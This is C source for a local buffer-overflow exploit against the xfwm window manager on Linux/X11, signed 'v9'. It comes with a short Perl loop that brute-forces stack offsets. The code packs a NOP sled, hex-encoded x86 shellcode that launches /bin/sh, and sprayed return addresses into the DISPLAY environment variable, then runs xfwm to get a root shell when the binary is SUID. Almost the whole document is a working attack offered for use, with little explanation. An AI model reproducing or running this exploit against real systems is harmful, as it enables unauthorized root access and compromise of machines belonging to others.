/* (linux+X11)xfwm buffer overflow, by v9[This email address is being protected from spambots. You need JavaScript enabled to view it.]. this will give you
a euid=0 shell if /usr/X11R6/bin/xfwm is SUID(=4755), which isn't anywheres
by default that i know of. another slapped together overflow exploit.

note: usually, if /usr/X11R6/bin/xfwm isn't SUID(=4755) or you're not uid=0
it won't launch the shell. (usually). try offsets around 1000 or higher.

here is a quick perl script to run offsets (until ctrl-c):

#!/usr/bin/perl
$i=$ARGV[0];
while(1){
print "offset: $i.\n";
system("./xfwm_bof $i");
$i++; # or $i+=100; if you want to be speedy.
} */

#define DEFAULT_OFFSET 1000
static char exec[]=
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56"
"\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
"\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01"; // i like hex01.
long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
char bof[976];
int i,offset;
long ret;
if(argc>1){offset=atoi(argv[1]);}
else{offset=DEFAULT_OFFSET;}
ret=(esp()-offset);
printf("return address: 0x%lx, offset: %d.\n",ret,offset);
for(i=3;i<976;i+=4){*(long *)&bof[i]=ret;}
for(i=0;i<(976-strlen(exec));i++){*(bof+i)=0x90;}
memcpy(bof+i,exec,strlen(exec));
setenv("DISPLAY",bof,1);
execlp("/usr/X11R6/bin/xfwm","xfwm",0);
}
